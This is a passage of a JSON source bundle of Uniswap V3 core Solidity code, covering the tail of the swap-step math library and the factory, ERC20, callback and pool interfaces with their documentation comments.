The fee taken from the input amount, expressed in hundredths of a bip\n /// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target\n /// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap\n /// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap\n /// @return feeAmount The amount of input that will be taken as a fee\n function computeSwapStep(\n uint160 sqrtRatioCurrentX96,\n uint160 sqrtRatioTargetX96,\n uint128 liquidity,\n int256 amountRemaining,\n uint24 feePips\n )\n internal\n pure\n returns (\n uint160 sqrtRatioNextX96,\n uint256 amountIn,\n uint256 amountOut,\n uint256 feeAmount\n )\n {\n bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;\n bool exactIn = amountRemaining >= 0;\n\n if (exactIn) {\n uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);\n amountIn = zeroForOne\n ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);\n if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(\n sqrtRatioCurrentX96,\n liquidity,\n amountRemainingLessFee,\n zeroForOne\n );\n } else {\n amountOut = zeroForOne\n ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);\n if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(\n sqrtRatioCurrentX96,\n liquidity,\n uint256(-amountRemaining),\n zeroForOne\n );\n }\n\n bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;\n\n // get the input/output amounts\n if (zeroForOne) {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);\n } else {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);\n }\n\n // cap the output amount to not exceed the remaining output amount\n if (!exactIn && amountOut > uint256(-amountRemaining)) {\n amountOut = uint256(-amountRemaining);\n }\n\n if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {\n // we didn't reach the target, so take the remainder of the maximum input as fee\n feeAmount = uint256(amountRemaining) - amountIn;\n } else {\n feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);\n }\n }\n}\n" }, "contracts/interfaces/IUniswapV3PoolDeployer.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title An interface for a contract that is capable of deploying Uniswap V3 Pools\n/// @notice A contract that constructs a pool must implement this to pass arguments to the pool\n/// @dev This is used to avoid having constructor arguments in the pool contract, which results in the init code hash\n/// of the pool being constant allowing the CREATE2 address of the pool to be cheaply computed on-chain\ninterface IUniswapV3PoolDeployer {\n /// @notice Get the parameters to be used in constructing the pool, set transiently during pool creation.\n /// @dev Called by the pool constructor to fetch the parameters of the pool\n /// Returns factory The factory address\n /// Returns token0 The first token of the pool by address sort order\n /// Returns token1 The second token of the pool by address sort order\n /// Returns fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// Returns tickSpacing The minimum number of ticks between initialized ticks\n function parameters()\n external\n view\n returns (\n address factory,\n address token0,\n address token1,\n uint24 fee,\n int24 tickSpacing\n );\n}\n" }, "contracts/interfaces/IUniswapV3Factory.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title The interface for the Uniswap V3 Factory\n/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees\ninterface IUniswapV3Factory {\n /// @notice Emitted when the owner of the factory is changed\n /// @param oldOwner The owner before the owner was changed\n /// @param newOwner The owner after the owner was changed\n event OwnerChanged(address indexed oldOwner, address indexed newOwner);\n\n /// @notice Emitted when a pool is created\n /// @param token0 The first token of the pool by address sort order\n /// @param token1 The second token of the pool by address sort order\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks\n /// @param pool The address of the created pool\n event PoolCreated(\n address indexed token0,\n address indexed token1,\n uint24 indexed fee,\n int24 tickSpacing,\n address pool\n );\n\n /// @notice Emitted when a new fee amount is enabled for pool creation via the factory\n /// @param fee The enabled fee, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee\n event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);\n\n /// @notice Returns the current owner of the factory\n /// @dev Can be changed by the current owner via setOwner\n /// @return The address of the factory owner\n function owner() external view returns (address);\n\n /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled\n /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context\n /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee\n /// @return The tick spacing\n function feeAmountTickSpacing(uint24 fee) external view returns (int24);\n\n /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist\n /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order\n /// @param tokenA The contract address of either token0 or token1\n /// @param tokenB The contract address of the other token\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @return pool The pool address\n function getPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external view returns (address pool);\n\n /// @notice Creates a pool for the given two tokens and fee\n /// @param tokenA One of the two tokens in the desired pool\n /// @param tokenB The other of the two tokens in the desired pool\n /// @param fee The desired fee for the pool\n /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved\n /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments\n /// are invalid.\n /// @return pool The address of the newly created pool\n function createPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external returns (address pool);\n\n /// @notice Updates the owner of the factory\n /// @dev Must be called by the current owner\n /// @param _owner The new owner of the factory\n function setOwner(address _owner) external;\n\n /// @notice Enables a fee amount with the given tickSpacing\n /// @dev Fee amounts may never be removed once enabled\n /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)\n /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount\n function enableFeeAmount(uint24 fee, int24 tickSpacing) external;\n}\n" }, "contracts/interfaces/IERC20Minimal.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Minimal ERC20 interface for Uniswap\n/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3\ninterface IERC20Minimal {\n /// @notice Returns the balance of a token\n /// @param account The account for which to look up the number of tokens it has, i.e. its balance\n /// @return The number of tokens held by the account\n function balanceOf(address account) external view returns (uint256);\n\n /// @notice Transfers the amount of token from the `msg.sender` to the recipient\n /// @param recipient The account that will receive the amount transferred\n /// @param amount The number of tokens to send from the sender to the recipient\n /// @return Returns true for a successful transfer, false for an unsuccessful transfer\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /// @notice Returns the current allowance given to a spender by an owner\n /// @param owner The account of the token owner\n /// @param spender The account of the token spender\n /// @return The current allowance granted by `owner` to `spender`\n function allowance(address owner, address spender) external view returns (uint256);\n\n /// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`\n /// @param spender The account which will be allowed to spend a given amount of the owners tokens\n /// @param amount The amount of tokens allowed to be used by `spender`\n /// @return Returns true for a successful approval, false for unsuccessful\n function approve(address spender, uint256 amount) external returns (bool);\n\n /// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`\n /// @param sender The account from which the transfer will be initiated\n /// @param recipient The recipient of the transfer\n /// @param amount The amount of the transfer\n /// @return Returns true for a successful transfer, false for unsuccessful\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.\n /// @param from The account from which the tokens were sent, i.e. the balance decreased\n /// @param to The account to which the tokens were sent, i.e. the balance increased\n /// @param value The amount of tokens that were transferred\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.\n /// @param owner The account that approved spending of its tokens\n /// @param spender The account for which the spending allowance was modified\n /// @param value The new allowance from the owner to the spender\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n" }, "contracts/interfaces/callback/IUniswapV3MintCallback.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#mint\n/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface\ninterface IUniswapV3MintCallback {\n /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.\n /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity\n /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call\n function uniswapV3MintCallback(\n uint256 amount0Owed,\n uint256 amount1Owed,\n bytes calldata data\n ) external;\n}\n" }, "contracts/interfaces/callback/IUniswapV3SwapCallback.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#swap\n/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface\ninterface IUniswapV3SwapCallback {\n /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.\n /// @dev In the implementation you must pay the pool tokens owed for the swap.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.\n /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.\n /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n" }, "contracts/interfaces/callback/IUniswapV3FlashCallback.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#flash\n/// @notice Any contract that calls IUniswapV3PoolActions#flash must implement this interface\ninterface IUniswapV3FlashCallback {\n /// @notice Called to `msg.sender` after transferring to the recipient from IUniswapV3Pool#flash.\n /// @dev In the implementation you must repay the pool the tokens sent by flash plus the computed fee amounts.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param fee0 The fee amount in token0 due to the pool by the end of the flash\n /// @param fee1 The fee amount in token1 due to the pool by the end of the flash\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#flash call\n function uniswapV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolImmutables.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that never changes\n/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values\ninterface IUniswapV3PoolImmutables {\n /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface\n /// @return The contract address\n function factory() external view returns (address);\n\n /// @notice The first of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token0() external view returns (address);\n\n /// @notice The second of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token1() external view returns (address);\n\n /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6\n /// @return The fee\n function fee() external view returns (uint24);\n\n /// @notice The pool tick spacing\n /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive\n /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...\n /// This value is an int24 to avoid casting even though it is always positive.\n /// @return The tick spacing\n function tickSpacing() external view returns (int24);\n\n /// @notice The maximum amount of position liquidity that can use any tick in the range\n /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and\n /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool\n /// @return The max amount of liquidity per tick\n function maxLiquidityPerTick() external view returns (uint128);\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolState.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that can change\n/// @notice These methods compose the pool's state, and can change with any frequency including multiple times\n/// per transaction\ninterface IUniswapV3PoolState {\n /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas\n /// when accessed externally.\n /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value\n /// tick The current tick of the pool, i.e. according to the last tick transition that was run.\n /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick\n /// boundary.\n /// observationIndex The index of the last oracle observation that was written,\n /// observationCardinality The current maximum number of observations stored in the pool,\n /// observationCardinalityNext The next maximum number of observations, to be updated when the observation.\n /// feeProtocol The protocol fee for both tokens of the pool.\n /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0\n /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.\n /// unlocked Whether the pool is currently locked to reentrancy\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n\n /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal0X128() external view returns (uint256);\n\n /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal1X128() external view returns (uint256);\n\n /// @notice The amounts of token0 and token1 that are owed to the protocol\n /// @dev Protocol fees will never exceed uint128 max in either token\n function protocolFees() external view returns (uint128 token0, uint128 token1);\n\n /// @notice The currently in range liquidity available to the pool\n /// @dev This value has no relationship to the total liquidity across all ticks\n function liquidity() external view returns (uint128);\n\n /// @notice Look up information about a specific tick in the pool\n /// @param tick The tick to look up\n /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or\n /// tick upper,\n /// liquidityNet how much liquidity changes when the pool price crosses the tick,\n /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,\n /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,\n /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick\n /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,\n /// secondsOutside the seconds spent on the other side of the tick from the current tick,\n /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.\n /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.\n /// In addition, these values are only relative and must be used only in comparison to previous snapshots for\n /// a specific position.\n function ticks(int24 tick)\n external\n view\n returns (\n uint128 liquidityGross,\n int128 liquidityNet,\n uint256 feeGrowthOutside0X128,\n uint256 feeGrowthOutside1X128,\n int56 tickCumulativeOutside,\n uint160 secondsPerLiquidityOutsideX128,\n uint32 secondsOutside,\n bool initialized\n );\n\n /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information\n function tickBitmap(int16 wordPosition) external view returns (uint256);\n\n /// @notice Returns the information about a position by the position's key\n /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper\n /// @return _liquidity The amount of liquidity in the position,\n /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,\n /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,\n /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,\n /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke\n function positions(bytes32 key)\n external\n view\n returns (\n uint128 _liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n /// @notice Returns data about a specific observation index\n /// @param index The element of the observations array to fetch\n /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time\n /// ago, rather than at a specific index in the array.\n /// @return blockTimestamp The timestamp of the observation,\n /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,\n /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,\n /// Returns initialized whether the observation has been initialized and the values are safe to use\n function observations(uint256 index)\n external\n view\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n );\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that is not stored\n/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the\n/// blockchain. The functions here may have variable gas costs.\ninterface IUniswapV3PoolDerivedState {\n /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp\n /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing\n /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,\n /// you must call it with secondsAgos = [3600, 0].\n /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in\n /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.\n /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned\n /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp\n /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block\n /// timestamp\n function observe(uint32[] calldata secondsAgos)\n external\n view\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);\n\n /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range\n /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.\n /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first\n /// snapshot is taken and the second snapshot is taken.\n /// @param tickLower The lower tick of the range\n /// @param tickUpper The upper tick of the range\n /// @return tickCumulativeInside The snapshot of the tick accumulator for the range\n /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range\n /// @return secondsInside The snapshot of seconds per liquidity for the range\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n );\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolActions.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissionless pool actions\n/// @notice Contains pool methods that can be called by anyone\ninterface IUniswapV3PoolActions {\n /// @notice Sets the initial price for the pool\n /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value\n /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96\n function initialize(uint160 sqrtPriceX96) external;\n\n /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position\n /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback\n /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends\n /// on tickLower, tickUpper, the amount of liquidity, and the current price.\n /// @param recipient The address for which the liquidity will be created\n /// @param tickLower The lower tick of the position in which to add liquidity\n /// @param tickUpper The upper tick of the position in which to add liquidity\n /// @param amount The amount of liquidity to mint\n /// @param data Any data that should be passed through to the callback\n /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback\n /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Collects tokens owed to a position\n /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.\n /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or\n /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the\n /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.\n /// @param recipient The address which should receive the fees collected\n /// @param tickLower The lower tick of the position for which to collect fees\n /// @param tickUpper The upper tick of the position for which to collect fees\n /// @param amount0Requested How much token0 should be withdrawn from the fees owed\n /// @param amount1Requested How much token1 should be withdrawn from the fees owed\n /// @return amount0 The amount of fees collected in token0\n /// @return amount1 The amount of fees collected in token1\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position\n /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0\n /// @dev Fees must be collected separately via a call to #collect\n /// @param tickLower The lower tick of the position for which to burn liquidity\n /// @param tickUpper The upper tick of the position for which to burn liquidity\n /// @param amount How much liquidity to burn\n /// @return amount0 The amount of token0 sent to the recipient\n /// @return amount1 The amount of token1 sent to the recipient\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Swap token0 for token1, or token1 for token0\n /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback\n /// @param recipient The address to receive the output of the swap\n /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0\n /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)\n /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this\n /// value after the swap. If one for zero, the price cannot be greater than this value after the swap\n /// @param data Any data to be passed through to the callback\n /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive\n /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback\n /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback\n /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling\n /// with 0 amount{0,1} and sending the donation amount(s) from the callback\n /// @param recipient The address which will receive the token0 and token1 amounts\n /// @param amount0 The amount of token0 to send\n /// @param amount1 The amount of token1 to send\n /// @param data Any data to be passed through to the callback\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n /// @notice Increase the maximum number of price and liquidity observations that this pool will store\n /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to\n /// the input observationCardinalityNext.\n /// @param observationCardinalityNext The desired minimum number of observations for the pool to store\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissioned pool actions\n/// @notice Contains pool methods that may only be called by the factory owner\ninterface IUniswapV3PoolOwnerActions {\n /// @notice Set the denominator of the protocol's % share of the fees\n /// @param feeProtocol0 new protocol fee for token0 of the pool\n /// @param feeProtocol1 new protocol fee for token1 of the pool\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;\n\n /// @notice Collect the protocol fee accrued to the pool\n /// @param recipient The address to which collected protocol fees should be sent\n /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1\n /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0\n /// @return amount0 The protocol fee collected in token0\n /// @return amount1 The protocol fee collected in token1\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n}\n" }, "contracts/interfaces/pool/IUniswapV3PoolEvents.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Events emitted by a pool\n/// @notice Contains all events emitted by the pool\ninterface IUniswapV3PoolEvents {\n /// @notice Emitted exactly once by a pool when #initialize is first called on the pool\n /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize\n /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96\n /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool\n event Initialize(uint160 sqrtPriceX96, int24 tick);\n\n /// @notice Emitted when liquidity is minted for a given position\n /// @param sender The address that minted the liquidity\n /// @param owner The owner of the position and recipient of any minted liquidity\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity minted to the position range\n /// @param amount0 How much token0 was required for the minted liquidity\n /// @param amount1 How much token1 was required for the minted liquidity\n event Mint(\n address sender,\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted when fees are collected by the owner of a position\n /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees\n /// @param owner The owner of the position for which fees are collected\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount0 The amount of token0 fees collected\n /// @param amount1 The amount of token1 fees collected\n event Collect(\n address indexed owner,\n address recipient,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount0,\n uint128 amount1\n );\n\n /// @notice Emitted when a position's liquidity is removed\n /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect\n /// @param owner The owner of the position for which liquidity is removed\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity to remove\n /// @param amount0 The amount of token0 withdrawn\n /// @param amount1 The amount of token1 withdrawn\n event Burn(\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted by the pool for any swaps between token0 and token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the output of the swap\n /// @param amount0 The delta of the token0 balance of the pool\n /// @param amount1 The delta of the token1 balance of the pool\n /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96\n /// @param liquidity The liquidity of the pool after the swap\n /// @param tick The log base 1.0001 of price of the pool after the swap\n event Swap(\n address indexed sender,\n address indexed recipient,\n int256 amount0,\n int256 amount1,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n int24 tick\n );\n\n /// @notice Emitted by the pool for any flashes of token0/token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the tokens from flash\n /// @param amount0 The amount of token0 that was flashed\n /// @param amount1 The amount of token1 that was flashed\n /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee\n /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee\n event Flash(\n address indexed sender,\n address indexed recipient,\n uint256 amount0,\n uint256 amount1,\n uint256 paid0,\n uint256 paid1\n );\n\n /// @notice Emitted by the pool for increases to the number of observations that can be stored\n /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index\n /// just before a mint/swap/burn.\n /// @param observationCardinalityNextOld The previous value of the next observation cardinality\n /// @param observationCardinalityNextNew The updated value of the next observation cardinality\n event IncreaseObservationCardinalityNext(\n uint16 observationCardinalityNextOld,\n uint16 observationCardinalityNextNew\n );\n\n /// @notice Emitted when the protocol fee is changed by the pool\n /// @param feeProtocol0Old The previous value of the token0 protocol fee\n /// @param feeProtocol1Old The previous value of the token1 protocol fee\n /// @param feeProtocol0New The updated value of the token0 protocol fee\n /// @param feeProtocol1New The updated value of the token1 protocol fee\n event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);\n\n /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner\n /// @param sender The address that collects the protocol fees\n /// @param recipient The address that receives the collected protocol fees\n /// @param amount0 The amount of token0 protocol fees that is withdrawn\n /// @param amount0 The amount of token1 protocol fees that is withdrawn\n event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);\n}\n" }, "contracts/libraries/BitMath.sol": { "content": "// 